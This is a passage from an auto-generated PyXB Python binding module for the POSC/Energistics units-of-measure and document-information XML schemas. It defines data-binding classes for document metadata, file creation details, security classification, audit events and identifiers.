"""Create a Python instance from the given DOM node.
The node tag must correspond to an element declaration in this module.
@deprecated: Forcing use of DOM interface is unnecessary; use L{CreateFromDocument}."""
if default_namespace is None:
default_namespace = Namespace.fallbackNamespace()
return pyxb.binding.basis.element.AnyCreateFromDOM(node, default_namespace)
# Union simple type: {http://www.posc.org/schemas}expandedDateTime
# superclasses pyxb.binding.datatypes.anySimpleType
class expandedDateTime (pyxb.binding.basis.STD_union):
"""Expand possibilities of dateTime format to include date, dateTime, gYearMonth, and gYear"""
_ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'expandedDateTime')
_XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 337, 0)
_Documentation = 'Expand possibilities of dateTime format to include date, dateTime, gYearMonth, and gYear'
_MemberTypes = ( pyxb.binding.datatypes.dateTime, pyxb.binding.datatypes.date, pyxb.binding.datatypes.gYearMonth, pyxb.binding.datatypes.gYear, )
expandedDateTime._CF_pattern = pyxb.binding.facets.CF_pattern()
expandedDateTime._CF_enumeration = pyxb.binding.facets.CF_enumeration(value_datatype=expandedDateTime)
expandedDateTime._InitializeFacetMap(expandedDateTime._CF_pattern,
expandedDateTime._CF_enumeration)
Namespace.addCategoryObject('typeBinding', 'expandedDateTime', expandedDateTime)
_module_typeBindings.expandedDateTime = expandedDateTime
# Atomic simple type: {http://www.posc.org/schemas}keyid
class keyid (pyxb.binding.datatypes.string):
"""
The keyid type is intended to be a replacement for the DTD, ID type, which is being deprecated. This type is intended to carry the same semantics as the ID type.
"""
_ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'keyid')
_XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 456, 0)
_Documentation = '\nThe keyid type is intended to be a replacement for the DTD, ID type, which is being deprecated. This type is intended to carry the same semantics as the ID type.\n '
keyid._InitializeFacetMap()
Namespace.addCategoryObject('typeBinding', 'keyid', keyid)
_module_typeBindings.keyid = keyid
# Complex type {http://www.posc.org/schemas}documentInfoType with content type ELEMENT_ONLY
class documentInfoType (pyxb.binding.basis.complexTypeDefinition):
"""
A convenience schema to capture a set of data that is relevant for many
exchange documents. It includes information about the file that was created,
and high-level information about the data that is being exchanged within the
file.
"""
_TypeDefinition = None
_ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY
_Abstract = False
_ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'documentInfoType')
_XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 46, 0)
_ElementMap = {}
_AttributeMap = {}
# Base type is pyxb.binding.datatypes.anyType
# Element {http://www.posc.org/schemas}_DocClasses uses Python identifier DocClasses
__DocClasses = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, '_DocClasses'), 'DocClasses', '__httpwww_posc_orgschemas_documentInfoType_httpwww_posc_orgschemas_DocClasses', True, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 35, 0), )
DocClasses = property(__DocClasses.value, __DocClasses.set, None, '\nAn abstract element, to serve as a head for a substitution group. The \n_DocClasses is intended to handle any classification systems that a group\nwould model. It may be a simple substitution, or a container with many\nclasses contained in it.\n ')
# Element {http://www.posc.org/schemas}DocumentName uses Python identifier DocumentName
__DocumentName = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'DocumentName'), 'DocumentName', '__httpwww_posc_orgschemas_documentInfoType_httpwww_posc_orgschemasDocumentName', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 56, 2), )
DocumentName = property(__DocumentName.value, __DocumentName.set, None, '\nAn identifier for the document. This is intended to be unique within the \ncontext of the NamingSystem.\n ')
# Element {http://www.posc.org/schemas}DocumentAlias uses Python identifier DocumentAlias
__DocumentAlias = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'DocumentAlias'), 'DocumentAlias', '__httpwww_posc_orgschemas_documentInfoType_httpwww_posc_orgschemasDocumentAlias', True, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 64, 2), )
DocumentAlias = property(__DocumentAlias.value, __DocumentAlias.set, None, '\nZero or more alternate names for the document. These names do not need to be\nunique within the naming system.\n ')
# Element {http://www.posc.org/schemas}DocumentDate uses Python identifier DocumentDate
__DocumentDate = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'DocumentDate'), 'DocumentDate', '__httpwww_posc_orgschemas_documentInfoType_httpwww_posc_orgschemasDocumentDate', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 72, 2), )
DocumentDate = property(__DocumentDate.value, __DocumentDate.set, None, '\nThe date of the creation of the document. This is not the same as the date\nthat the file was created. For this date, the document is considered to be\nthe set of information associated with this document information.\nFor example, the document may be a seismic binset. This represents the date\nthat the binset was created. The FileCreation information would capture the\ndate that the XML file was created to send or exchange the binset.\n ')
# Element {http://www.posc.org/schemas}FileCreationInformation uses Python identifier FileCreationInformation
__FileCreationInformation = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'FileCreationInformation'), 'FileCreationInformation', '__httpwww_posc_orgschemas_documentInfoType_httpwww_posc_orgschemasFileCreationInformation', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 93, 2), )
FileCreationInformation = property(__FileCreationInformation.value, __FileCreationInformation.set, None, '\nThe information about the creation of the exchange file. This is not about\nthe creation of the data within the file, but the creation of the file itself.\n ')
# Element {http://www.posc.org/schemas}SecurityInformation uses Python identifier SecurityInformation
__SecurityInformation = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'SecurityInformation'), 'SecurityInformation', '__httpwww_posc_orgschemas_documentInfoType_httpwww_posc_orgschemasSecurityInformation', True, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 101, 2), )
SecurityInformation = property(__SecurityInformation.value, __SecurityInformation.set, None, '\nInformation about the security to be applied to this file. More than one\nclassification can be given.\n ')
# Element {http://www.posc.org/schemas}Disclaimer uses Python identifier Disclaimer
__Disclaimer = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Disclaimer'), 'Disclaimer', '__httpwww_posc_orgschemas_documentInfoType_httpwww_posc_orgschemasDisclaimer', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 109, 2), )
Disclaimer = property(__Disclaimer.value, __Disclaimer.set, None, '\nA free-form string that allows a disclaimer to accompany the information.\n ')
# Element {http://www.posc.org/schemas}AuditTrail uses Python identifier AuditTrail
__AuditTrail = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'AuditTrail'), 'AuditTrail', '__httpwww_posc_orgschemas_documentInfoType_httpwww_posc_orgschemasAuditTrail', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 116, 2), )
AuditTrail = property(__AuditTrail.value, __AuditTrail.set, None, '\nA collection of events that can document the history of the data.\n ')
# Element {http://www.posc.org/schemas}DataOwnerRef uses Python identifier DataOwnerRef
__DataOwnerRef = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'DataOwnerRef'), 'DataOwnerRef', '__httpwww_posc_orgschemas_documentInfoType_httpwww_posc_orgschemasDataOwnerRef', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 131, 4), )
DataOwnerRef = property(__DataOwnerRef.value, __DataOwnerRef.set, None, None)
# Element {http://www.posc.org/schemas}DataOwnerID uses Python identifier DataOwnerID
__DataOwnerID = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'DataOwnerID'), 'DataOwnerID', '__httpwww_posc_orgschemas_documentInfoType_httpwww_posc_orgschemasDataOwnerID', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 132, 4), )
DataOwnerID = property(__DataOwnerID.value, __DataOwnerID.set, None, None)
# Element {http://www.posc.org/schemas}Comment uses Python identifier Comment
__Comment = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Comment'), 'Comment', '__httpwww_posc_orgschemas_documentInfoType_httpwww_posc_orgschemasComment', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 134, 2), )
Comment = property(__Comment.value, __Comment.set, None, '\nAn optional comment about the document.\n ')
# Attribute modver uses Python identifier modver
__modver = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'modver'), 'modver', '__httpwww_posc_orgschemas_documentInfoType_modver', pyxb.binding.datatypes.string, fixed=True, unicode_default='1.1')
__modver._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 142, 1)
__modver._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 142, 1)
modver = property(__modver.value, __modver.set, None, None)
_ElementMap.update({
__DocClasses.name() : __DocClasses,
__DocumentName.name() : __DocumentName,
__DocumentAlias.name() : __DocumentAlias,
__DocumentDate.name() : __DocumentDate,
__FileCreationInformation.name() : __FileCreationInformation,
__SecurityInformation.name() : __SecurityInformation,
__Disclaimer.name() : __Disclaimer,
__AuditTrail.name() : __AuditTrail,
__DataOwnerRef.name() : __DataOwnerRef,
__DataOwnerID.name() : __DataOwnerID,
__Comment.name() : __Comment
})
_AttributeMap.update({
__modver.name() : __modver
})
_module_typeBindings.documentInfoType = documentInfoType
Namespace.addCategoryObject('typeBinding', 'documentInfoType', documentInfoType)
# Complex type {http://www.posc.org/schemas}fileCrType with content type ELEMENT_ONLY
class fileCrType (pyxb.binding.basis.complexTypeDefinition):
"""
A block of information about the creation of the XML file. This is different
than the creation of the data that is included within the file.
"""
_TypeDefinition = None
_ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY
_Abstract = False
_ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'fileCrType')
_XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 145, 0)
_ElementMap = {}
_AttributeMap = {}
# Base type is pyxb.binding.datatypes.anyType
# Element {http://www.posc.org/schemas}FileCreationDate uses Python identifier FileCreationDate
__FileCreationDate = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'FileCreationDate'), 'FileCreationDate', '__httpwww_posc_orgschemas_fileCrType_httpwww_posc_orgschemasFileCreationDate', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 153, 2), )
FileCreationDate = property(__FileCreationDate.value, __FileCreationDate.set, None, '\nThe date and/or time that the file was created.\n ')
# Element {http://www.posc.org/schemas}SoftwareName uses Python identifier SoftwareName
__SoftwareName = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'SoftwareName'), 'SoftwareName', '__httpwww_posc_orgschemas_fileCrType_httpwww_posc_orgschemasSoftwareName', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 160, 2), )
SoftwareName = property(__SoftwareName.value, __SoftwareName.set, None, '\nIf appropriate, the software that created the file. This is a free form\nstring, and may include whatever information is deemed relevant.\n ')
# Element {http://www.posc.org/schemas}FileCreator uses Python identifier FileCreator
__FileCreator = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'FileCreator'), 'FileCreator', '__httpwww_posc_orgschemas_fileCrType_httpwww_posc_orgschemasFileCreator', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 168, 2), )
FileCreator = property(__FileCreator.value, __FileCreator.set, None, '\nThe person or business associate that created the file. This is a free\nform string.\n ')
# Element {http://www.posc.org/schemas}Comment uses Python identifier Comment
__Comment = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Comment'), 'Comment', '__httpwww_posc_orgschemas_fileCrType_httpwww_posc_orgschemasComment', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 176, 2), )
Comment = property(__Comment.value, __Comment.set, None, '\nAny comment that would be useful to further explain the creation of this\ninstance document.\n ')
_ElementMap.update({
__FileCreationDate.name() : __FileCreationDate,
__SoftwareName.name() : __SoftwareName,
__FileCreator.name() : __FileCreator,
__Comment.name() : __Comment
})
_AttributeMap.update({
})
_module_typeBindings.fileCrType = fileCrType
Namespace.addCategoryObject('typeBinding', 'fileCrType', fileCrType)
# Complex type {http://www.posc.org/schemas}securityInfoType with content type ELEMENT_ONLY
class securityInfoType (pyxb.binding.basis.complexTypeDefinition):
"""
Information about the security classification of the document. This is
intended as a documentation of the security so that the file will not
inadvertently be sent to someone who is not allowed access to the data.
This block also carries a date that the security classification expires.
For example, a well log is confidential for a period of time, and then
becomes open.
All security classes are characterized by their classification systems.
"""
_TypeDefinition = None
_ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY
_Abstract = False
_ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'securityInfoType')
_XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 187, 0)
_ElementMap = {}
_AttributeMap = {}
# Base type is pyxb.binding.datatypes.anyType
# Element {http://www.posc.org/schemas}Class uses Python identifier Class
__Class = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Class'), 'Class', '__httpwww_posc_orgschemas_securityInfoType_httpwww_posc_orgschemasClass', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 200, 2), )
Class = property(__Class.value, __Class.set, None, '\nThe security class in which this document is classified. Examples would \nbe confidential, partner confidential, tight. The meaning of the class is\ndetermined by the System in which it is defined.\n ')
# Element {http://www.posc.org/schemas}System uses Python identifier System
__System = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'System'), 'System', '__httpwww_posc_orgschemas_securityInfoType_httpwww_posc_orgschemasSystem', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 209, 2), )
System = property(__System.value, __System.set, None, '\nThe security classification system. This gives context to the meaning of the\nClass value.\n ')
# Element {http://www.posc.org/schemas}EndDate uses Python identifier EndDate
__EndDate = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'EndDate'), 'EndDate', '__httpwww_posc_orgschemas_securityInfoType_httpwww_posc_orgschemasEndDate', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 217, 2), )
EndDate = property(__EndDate.value, __EndDate.set, None, '\nThe date on which this security class is no longer applicable.\n ')
# Element {http://www.posc.org/schemas}Comment uses Python identifier Comment
__Comment = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Comment'), 'Comment', '__httpwww_posc_orgschemas_securityInfoType_httpwww_posc_orgschemasComment', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 224, 2), )
Comment = property(__Comment.value, __Comment.set, None, '\nA general comment to further define the security class.\n ')
_ElementMap.update({
__Class.name() : __Class,
__System.name() : __System,
__EndDate.name() : __EndDate,
__Comment.name() : __Comment
})
_AttributeMap.update({
})
_module_typeBindings.securityInfoType = securityInfoType
Namespace.addCategoryObject('typeBinding', 'securityInfoType', securityInfoType)
# Complex type {http://www.posc.org/schemas}auditType with content type ELEMENT_ONLY
class auditType (pyxb.binding.basis.complexTypeDefinition):
"""
The audit records what happened to the data, to produce the data that is in
this file. It consists of one or more events.
"""
_TypeDefinition = None
_ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY
_Abstract = False
_ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'auditType')
_XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 234, 0)
_ElementMap = {}
_AttributeMap = {}
# Base type is pyxb.binding.datatypes.anyType
# Element {http://www.posc.org/schemas}Event uses Python identifier Event
__Event = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Event'), 'Event', '__httpwww_posc_orgschemas_auditType_httpwww_posc_orgschemasEvent', True, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 242, 2), )
Event = property(__Event.value, __Event.set, None, None)
_ElementMap.update({
__Event.name() : __Event
})
_AttributeMap.update({
})
_module_typeBindings.auditType = auditType
Namespace.addCategoryObject('typeBinding', 'auditType', auditType)
# Complex type {http://www.posc.org/schemas}eventType with content type ELEMENT_ONLY
class eventType (pyxb.binding.basis.complexTypeDefinition):
"""
An event type captures the basic information about an event that has
affected the data.
"""
_TypeDefinition = None
_ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY
_Abstract = False
_ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'eventType')
_XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 246, 0)
_ElementMap = {}
_AttributeMap = {}
# Base type is pyxb.binding.datatypes.anyType
# Element {http://www.posc.org/schemas}EventDate uses Python identifier EventDate
__EventDate = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'EventDate'), 'EventDate', '__httpwww_posc_orgschemas_eventType_httpwww_posc_orgschemasEventDate', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 254, 2), )
EventDate = property(__EventDate.value, __EventDate.set, None, '\nThe date on which the event took place.\n ')
# Element {http://www.posc.org/schemas}ResponsiblePartyRef uses Python identifier ResponsiblePartyRef
__ResponsiblePartyRef = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'ResponsiblePartyRef'), 'ResponsiblePartyRef', '__httpwww_posc_orgschemas_eventType_httpwww_posc_orgschemasResponsiblePartyRef', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 269, 3), )
ResponsiblePartyRef = property(__ResponsiblePartyRef.value, __ResponsiblePartyRef.set, None, None)
# Element {http://www.posc.org/schemas}ResponsiblePartyID uses Python identifier ResponsiblePartyID
__ResponsiblePartyID = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'ResponsiblePartyID'), 'ResponsiblePartyID', '__httpwww_posc_orgschemas_eventType_httpwww_posc_orgschemasResponsiblePartyID', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 270, 3), )
ResponsiblePartyID = property(__ResponsiblePartyID.value, __ResponsiblePartyID.set, None, None)
# Element {http://www.posc.org/schemas}Comment uses Python identifier Comment
__Comment = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Comment'), 'Comment', '__httpwww_posc_orgschemas_eventType_httpwww_posc_orgschemasComment', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 272, 2), )
Comment = property(__Comment.value, __Comment.set, None, '\nA free form comment that can further define the event that occurred.\n ')
_ElementMap.update({
__EventDate.name() : __EventDate,
__ResponsiblePartyRef.name() : __ResponsiblePartyRef,
__ResponsiblePartyID.name() : __ResponsiblePartyID,
__Comment.name() : __Comment
})
_AttributeMap.update({
})
_module_typeBindings.eventType = eventType
Namespace.addCategoryObject('typeBinding', 'eventType', eventType)
# Complex type {http://www.posc.org/schemas}abstractFeatureType with content type ELEMENT_ONLY
class abstractFeatureType (pyxb.binding.basis.complexTypeDefinition):
"""Complex type {http://www.posc.org/schemas}abstractFeatureType with content type ELEMENT_ONLY"""
_TypeDefinition = None
_ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY
_Abstract = False
_ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'abstractFeatureType')
_XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 282, 0)
_ElementMap = {}
_AttributeMap = {}
# Base type is pyxb.binding.datatypes.anyType
# Element {http://www.posc.org/schemas}Text uses Python identifier Text
__Text = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Text'), 'Text', '__httpwww_posc_orgschemas_abstractFeatureType_httpwww_posc_orgschemasText', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 284, 4), )
Text = property(__Text.value, __Text.set, None, None)
_ElementMap.update({
__Text.name() : __Text
})
_AttributeMap.update({
})
_module_typeBindings.abstractFeatureType = abstractFeatureType
Namespace.addCategoryObject('typeBinding', 'abstractFeatureType', abstractFeatureType)
# Complex type {http://www.posc.org/schemas}identifierType with content type ELEMENT_ONLY
class identifierType (pyxb.binding.basis.complexTypeDefinition):
"""
A common way for handling names of objects. An identifier type must include a Name. It
may also include a NamingSystem, which gives meaning to the name. Since Names and
NamingSystems may change with time, it may also include a Version, to further refine the
meaning of the name.
Note that this three-part structure is based on the ISO Identifier type.
"""
_TypeDefinition = None
_ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY
_Abstract = False
_ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'identifierType')
_XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 288, 0)
_ElementMap = {}
_AttributeMap = {}
# Base type is pyxb.binding.datatypes.anyType
# Element {http://www.posc.org/schemas}Name uses Python identifier Name
__Name = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Name'), 'Name', '__httpwww_posc_orgschemas_identifierType_httpwww_posc_orgschemasName', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 299, 4), )
Name = property(__Name.value, __Name.set, None, '\nThe name of the object being identified. It may or may not be a unique name, depending on the use of this type. When used as an "identifier," it should be a unique name, within the naming system. When used as an "alias," the name is not required to be unique.\n ')
# Element {http://www.posc.org/schemas}NamingSystem uses Python identifier NamingSystem
__NamingSystem = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'NamingSystem'), 'NamingSystem', '__httpwww_posc_orgschemas_identifierType_httpwww_posc_orgschemasNamingSystem', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 307, 6), )
NamingSystem = property(__NamingSystem.value, __NamingSystem.set, None, "\nThe naming system under which the name is defined. For example, if the name is a person's social security number, the naming system would be SSN, or some equivalent code which represents that the name is a social security number. Since naming system may be a code, there are two attributes (nameRef and systemList), which may be used to lead an application to a registry, where meaning can be obtained for the code. \n ")
# Element {http://www.posc.org/schemas}Version uses Python identifier Version
__Version = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Version'), 'Version', '__httpwww_posc_orgschemas_identifierType_httpwww_posc_orgschemasVersion', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 314, 6), )
Version = property(__Version.value, __Version.set, None, '\nWhen a naming system is declared, it may be further qualified by giving a version of the\nnaming system. This is needed only when a group puts out a new set of names that are not\nbackward compatible with a previous list.\n ')
# Element {http://www.posc.org/schemas}Comment uses Python identifier Comment
__Comment = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Comment'), 'Comment', '__httpwww_posc_orgschemas_identifierType_httpwww_posc_orgschemasComment', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 324, 4), )
Comment = property(__Comment.value, __Comment.set, None, None)
_ElementMap.update({
__Name.name() : __Name,
__NamingSystem.name() : __NamingSystem,
__Version.name() : __Version,
__Comment.name() : __Comment
})
_AttributeMap.update({
})
_module_typeBindings.identifierType = identifierType
Namespace.addCategoryObject('typeBinding', 'identifierType', identifierType)
# Complex type {http://www.posc.org/schemas}referenceToType with content type EMPTY
class referenceToType (pyxb.binding.basis.complexTypeDefinition):
"""
A reference, with no content. The only attribute is href, which is a reference to another instance.
"""
_TypeDefinition = None
_ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_EMPTY
_Abstract = False
_ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'referenceToType')
_XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 328, 0)
_ElementMap = {}
_AttributeMap = {}
# Base type is pyxb.binding.datatypes.anyType
# Attribute href uses Python identifier href
__href = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'href'), 'href', '__httpwww_posc_orgschemas_referenceToType_href', pyxb.binding.datatypes.string, required=True)
__href._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 334, 1)
__href._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 334, 1)
href = property(__href.value, __href.set, None, None)
_ElementMap.update({
})
_AttributeMap.update({
__href.name() : __href
})
_module_typeBindings.referenceToType = referenceToType
Namespace.addCategoryObject('typeBinding', 'referenceToType', referenceToType)
# Complex type [anonymous] with content type ELEMENT_ONLY
class CTD_ANON (pyxb.binding.basis.complexTypeDefinition):
"""Complex type [anonymous] with content type ELEMENT_ONLY"""
_TypeDefinition = None
_ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY
_Abstract = False
_ExpandedName = None
_XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 25, 2)
_ElementMap = {}
_AttributeMap = {}
# Base type is pyxb.binding.datatypes.anyType
# Element {http://www.posc.org/schemas}DocumentInformation uses Python identifier DocumentInformation
__DocumentInformation = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'DocumentInformation'), 'DocumentInformation', '__httpwww_posc_orgschemas_CTD_ANON_httpwww_posc_orgschemasDocumentInformation', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 24, 0), )
DocumentInformation = property(__DocumentInformation.value, __DocumentInformation.set, None, '\nA standard name for an element of type documentInfoType. Other names may be \nused at the discretion of the developer.\n ')
# Element {http://www.posc.org/schemas}UnitsDefinition uses Python identifier UnitsDefinition
__UnitsDefinition = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'UnitsDefinition'), 'UnitsDefinition', '__httpwww_posc_orgschemas_CTD_ANON_httpwww_posc_orgschemasUnitsDefinition', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 28, 6), )
UnitsDefinition = property(__UnitsDefinition.value, __UnitsDefinition.set, None, None)
# Attribute version uses Python identifier version
__version = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'version'), 'version', '__httpwww_posc_orgschemas_CTD_ANON_version', pyxb.binding.datatypes.string)
__version._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 36, 4)
__version._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 36, 4)
version = property(__version.value, __version.set, None, 'The version of the dictionary. Optional.')
_ElementMap.update({
__DocumentInformation.name() : __DocumentInformation,
__UnitsDefinition.name() : __UnitsDefinition
})
_AttributeMap.update({
__version.name() : __version
})
_module_typeBindings.CTD_ANON = CTD_ANON
# Complex type [anonymous] with content type ELEMENT_ONLY
class CTD_ANON_ (pyxb.binding.basis.complexTypeDefinition):
"""Complex type [anonymous] with content type ELEMENT_ONLY"""
_TypeDefinition = None
_ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY
_Abstract = False
_ExpandedName = None
_XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 29, 8)
_ElementMap = {}
_AttributeMap = {}
# Base type is pyxb.binding.datatypes.anyType
# Element {http://www.posc.org/schemas}UnitOfMeasure uses Python identifier UnitOfMeasure
__UnitOfMeasure = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'UnitOfMeasure'), 'UnitOfMeasure', '__httpwww_posc_orgschemas_CTD_ANON__httpwww_posc_orgschemasUnitOfMeasure', True, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 31, 12), )
UnitOfMeasure = property(__UnitOfMeasure.value, __UnitOfMeasure.set, None, None)
_ElementMap.update({
__UnitOfMeasure.name() : __UnitOfMeasure
})
_AttributeMap.update({
})
_module_typeBindings.CTD_ANON_ = CTD_ANON_
# Complex type {http://www.posc.org/schemas}explicitType with content type SIMPLE
class explicitType (pyxb.binding.basis.complexTypeDefinition):
"""
If isExplicit is true, the uom is explicitly contained in and defined in
the referenced catalog. If isExplicity is false, the uom is implicitly
present. For example, a catalog may contain a metre (m), and a second (s),
and allow a units algebra. Thus, the unit of velocity, metre/second (m/s),
may not explicitly be in the catalog. But it is implied by the algebra
which allows units division.
"""
_TypeDefinition = pyxb.binding.datatypes.string
_ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_SIMPLE
_Abstract = False
_ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'explicitType')
_XSDLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 297, 0)
_ElementMap = {}
_AttributeMap = {}
# Base type is pyxb.binding.datatypes.string
# Attribute isExplicit uses Python identifier isExplicit
